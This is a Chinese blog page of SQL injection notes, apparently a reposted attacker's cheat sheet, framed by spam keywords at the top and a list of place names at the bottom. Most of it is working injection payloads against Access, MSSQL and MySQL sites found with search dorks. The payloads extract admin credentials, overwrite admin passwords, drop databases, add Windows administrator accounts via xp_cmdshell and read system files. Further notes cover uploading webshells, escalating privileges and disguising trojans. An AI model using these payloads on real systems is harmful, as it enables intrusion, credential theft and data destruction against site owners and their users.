日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

SQL注入筆記

系統(tǒng) 2768 0
1 ?FootPrinting 要收集的信息有十個(gè)方面? A? 網(wǎng)站注冊(cè)信息 ?B 網(wǎng)管資料 ?C? 共享資料 ?D? 端口信息 ?E FTP 資源? F? 網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu) ?G? 網(wǎng)站 URL 地址結(jié)構(gòu) ?H 網(wǎng)站系統(tǒng)版本 ?I? 后臺(tái)地址 ?J? 弱口令
常用語(yǔ)法 ?intext??allintext intitle??allintitle cache define filetype info inurl link site related URL
-? 邏輯非 ?A-C? A C 的網(wǎng)頁(yè)?? OR? 邏輯或 ??AORB? ? 精確搜索用雙引號(hào)?? 通配符 ?* 一串字符 ?單個(gè)字符 ? 含有通配符的關(guān)鍵字要引號(hào)? 對(duì)忽略的關(guān)鍵字進(jìn)行強(qiáng)制搜索,關(guān)鍵字前加上明文的 + 號(hào)
入侵
查找別人流行的 Webshell?? 利用木馬的關(guān)鍵字查找 ? 有很多木馬都有 ? 絕對(duì)的路徑 ? 保存的路徑,輸入文件內(nèi)容等關(guān)鍵字 diy.asp
搜索存在的注入漏洞站點(diǎn) ?inurl:asp?id=
查找特點(diǎn)網(wǎng)站的注入漏洞 ?site xxx.com inurl:php?id=
判斷是否存在注入 ?and 1=1? ?and 1=2? 出現(xiàn)頁(yè)面不一樣,存在
暴庫(kù) Conn.asp? 暴庫(kù)法 ??inrul conn.asp? ?%5c 暴庫(kù)法 ?? 網(wǎng)站最后一個(gè) /? 改成 ?%5c? 暴庫(kù)
XSS? 提交 <script>alert(“test”)</script> 彈窗
<imgsrc=javascript:alert(“test”)>?? 可以通過轉(zhuǎn)換進(jìn)制來繞過檢測(cè)或過濾
工具注入 使用 ? D? ? Pangolin??Havij??
手工注入
ACCESS
http://ww.xxx.com/xx.asp?id=xxxx ’? 出錯(cuò)就存在注入 提交 ?and 1=1 and 1=2
http://www/xxx.com/xx.asp?id=x and user>0? 判斷數(shù)據(jù)庫(kù)類型? ACCESS? 會(huì)有 ?Microsoft JET Database??MSSQL? 會(huì)有 ?SQL Server
http://www/xxx.com/xx.asp?id=x and exist (select * from admin)? 返回正常,說明存在 一般的表名為 admin??password
猜解列名 ?exists (select? 列名 ?from? 表名 )? 或者 ?exists? select (列名) from? 表名)
猜解列的長(zhǎng)度 ?and (select top 1 len( 列名 ) from? 表名 )> 數(shù)字 ? 出錯(cuò)的數(shù)字是幾就說明長(zhǎng)度為幾
猜解用戶名 / 密碼 ?and (select top 1 asc(mid( 列名 , 列數(shù) N,1)) from? 表名 )>X??Top 后的數(shù)字為該列的第 N 行, X ASCII 碼,列數(shù) N 就是在這一列中的第幾個(gè)數(shù)字
SQL Server MSSQL
數(shù)字型
http://www/xxx.com/xx.asp?id=x 添加單引號(hào)出錯(cuò) ? 提交 ?and 1=1? ?and 1=2
http://www/xxx.com/xx.asp?id=x and user>0? 得到用戶名
http://www/xxx.com/xx.asp?id=x having 1=1 –?? 得到表名
http://www/xxx.com/xx.asp?id=x group by? 表名 ?having 1=1--?? 得到列名
暴任意表名和用戶名語(yǔ)句 and (select top 1 name from(select top Nid, name from sysobjects where xtype=char(85)) T order by id desc)>1? 其中 N 就是代表數(shù)據(jù)庫(kù)中的第 N 個(gè)表
暴任意表中的任意列的語(yǔ)句
and (select top 1 col_name(object_id(‘ 表名 ’),1) fromm sysobjects)>1? 第一個(gè)列名
and (select top 1 col_name(object_id(‘ 表名 ’),2) fromm sysobjects)>1? 第二個(gè)列名
暴數(shù)據(jù)庫(kù)的數(shù)據(jù) and (select top 1? 列名 ?from? 表名 ?whereid=N)>1? 其中 N 代表第 N 條數(shù)據(jù)
http://www/xxx.com/xx.asp?id=x and (select top 1 username from admin where id=1)>1? 猜解 admin 表中的 username 的第一臺(tái)數(shù)據(jù)
http://www/xxx.com/xx.asp?id=x and (select top 1 password from admin where id=1)>1? 得到密碼
字符型
http://www/xxx.com/xx.asp?action=value ??value 就是一個(gè)字符
http://www/xxx.com/xx.asp?action=value ’and 1=1? ?and 1=2? 來判斷注入
http://www/xxx.com/xx.asp?action=value ’and user>0? 判斷數(shù)據(jù)庫(kù)類型

?

2搜索型注入利用了SQL語(yǔ)句中的模糊查詢功能? ?在搜索框中輸入 “要搜索的關(guān)鍵字%’ and 注入工具代碼”
注入過程中暴出的管理員密碼是經(jīng)過MD5加密,又不能破解,這個(gè)時(shí)候直接利用SQL注入來修改數(shù)據(jù)庫(kù)中的數(shù)據(jù),直接把管理員的密碼改掉
語(yǔ)句 ;update 表名 set 列名=’內(nèi)容’ where 條件
如 http://www/xxx.com/xx.asp?id=xx;update admin set password=’123’ where username=’aaa’
其功能就是把a(bǔ)dmin 表中的username為aaa的密碼改為123
新添加一個(gè)管理員 語(yǔ)句 ;insert into 表名 values(內(nèi)容)--
如http://www/xxx.com/xx.asp?id=xx;insert into admin values(aaa,123)--
其功能就是往admin表中添加一個(gè)username為aaa password 為123的管理員
得到數(shù)據(jù)庫(kù)名稱為bbb??執(zhí)行 ;drop database bbb , bbb數(shù)據(jù)庫(kù)就刪除了
如http://www/xxx.com/xx.asp?id=xx;drop database bbb
URL后面提交 and (select @@version)>0 來獲取數(shù)據(jù)庫(kù)版本
提交 and db_name()>0 來獲得當(dāng)前數(shù)據(jù)庫(kù)名
提交 and user>0??獲得當(dāng)前數(shù)據(jù)庫(kù)用戶名 還有其他的一些如SESSION_USER??CURRENT_USER??SYSTEM_USER?
判斷權(quán)限??提交http://www/xxx.com/xx.asp?id=xx and user>0 返回PUBLIC 當(dāng)前就是PUBLIC權(quán)限
判斷是否支持多句查詢 提交 http://www/xxx.com/xx.asp?id=xx;declare @a int—
判斷是否支持子查詢? ?提交 http://www/xxx.com/xx.asp?id=xx and (select cout(1) from [sysobject])>0
擴(kuò)展存儲(chǔ)過程??需要sa權(quán)限才能執(zhí)行
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ dir c:\’??查看c盤根目錄相關(guān)的文件和文件夾
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ netuser 123 123/add’ 和
? ?? ? http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘net localgroup administrators 123/add’??添加一個(gè)管理員
提交 http://www/xxx.com/xx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=’X’ and name=’xp_cmdshell’ 返回說明擴(kuò)展存儲(chǔ)過程存在
不存在,我們使用 http://www/xxx.com/xx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’ 來恢復(fù),如果要?jiǎng)h除,執(zhí)行exec sp_dropextendedproc ‘xp_cmdshell’
提交http://www/xxx.com/xx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT??‘wscript.shell’, @s exec master..SPOAMETHON @s, ‘run’,null,’cmd.exe/c dir c:\’??通過sp_OACREAT 和sp_OAMETHOD 來執(zhí)行DOS命令
MySQL
Google 中輸入 inurl:php?id= 就能得到很多php站了
http://www/xxx.com/xx.php?id=32 后面添加 and 1=1 和 and 1=2 判斷是否存在注入
http://www/xxx.com/xx.php?id=32/* 只有MySQL數(shù)據(jù)庫(kù)支持/*注釋,提交就能夠判斷
and ord(mid(verion(),1,1))>51/* 確定版本??返回正常版本大于4.0??錯(cuò)誤,不支持UNION查詢? ?51是ASC碼3 大于3 就是4版本以上
URL提交 /*!%20s*/ 返回錯(cuò)誤,可判斷該數(shù)據(jù)為MySQL
URL提交/*!40000%20s*/ 返回錯(cuò)誤,版本大于4
利用 union select 1,2,3,4 來獲得字段數(shù) 或 order by 10 來獲得
Union select 字段數(shù) from 表名??字段數(shù)有三個(gè) 就應(yīng)該是 1,2,3
http://www/xxx.com/xx.php?id=32 union select 1,2,3,4,5,6,7 from admin
http://www/xxx.com/xx.php?id=32 union select 1,version(),3,4,5,6,7 from admin 來判斷版本
http://www/xxx.com/xx.php?id=32 union select 1,username,3,4,5,6,7 from admin 來獲得用戶名
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin 來獲得用戶名密碼
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin where id=2 得到第二天記錄
http://www/xxx.com/xx.php?id=32 and ord(mid(user(),1,1))=114/* 返回正常說明是root權(quán)限
and (select count(*) from MySQL.user)>0 來判斷是否具有文件讀寫的權(quán)限http://www/xxx.com/xx.php?id=32 union select 1,load_file(0x655A2F626F6F742E696E69),3,4,5,6,7 from admin??就可以讀取c:\boot.ini 中的信息
旁注
如何獲得Webshell
ASP系統(tǒng)??會(huì)過濾掉asp后綴,提交aspx 木馬 或者把后綴改為 ASA CER??AASPSP?
PHP和JSP??一般是linux系統(tǒng) 會(huì)解析perl??后綴名 pl??在windows上 上傳ASPX ASA CER 都可以獲得webshell
后臺(tái)備份恢復(fù)獲得webshell
SQL導(dǎo)出獲得webshell??可以使用getwebshell工具導(dǎo)出
寫入過濾不完全獲得webshell??利用一句話 菜刀連接,上傳大馬
提權(quán) pcanywhere??serv-u??sam 提權(quán)
查找conn config pass 看能否得到sa mysql 密碼
檢查系統(tǒng)服務(wù) task?
大部分網(wǎng)站管理員會(huì)刪除cmd net 我們需要上傳cmd.exe??net.exe net1.exe
后臺(tái)數(shù)據(jù)庫(kù)是SQL Server提交 http://www.xxx.com/xxx/asp?id=xx;exec ?master.dbo.xp_cmdshell ‘cacls d:\home /t /e /c /g everyone:f’ ;-- 這樣賦予了操作系統(tǒng)everyone組的成員所有權(quán)限,可以上傳
利用本地溢出程序進(jìn)行提權(quán) 木馬的加密與防殺 加殼就是對(duì)木馬進(jìn)行加密或變換 網(wǎng)絡(luò)釣魚 社會(huì)工程學(xué)

SQL注入筆記


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號(hào)聯(lián)系: 360901061

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對(duì)您有幫助就好】

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長(zhǎng)會(huì)非常 感謝您的哦!!!

發(fā)表我的評(píng)論
最新評(píng)論 總共0條評(píng)論
主站蜘蛛池模板: 镇原县| 柳河县| 桂林市| 温泉县| 方城县| 正宁县| 凭祥市| 金乡县| 阜南县| 马尔康县| 呼和浩特市| 阿克陶县| 青阳县| 兰西县| 深州市| 邻水| 西丰县| 松潘县| 安西县| 宜丰县| 章丘市| 新津县| 阆中市| 宜黄县| 杭州市| 灌云县| 梁平县| 吉木萨尔县| 绥中县| 弥渡县| 孟州市| 灵宝市| 太仓市| 日喀则市| 汤阴县| 青河县| 集贤县| 苏尼特右旗| 星子县| 故城县| 平利县|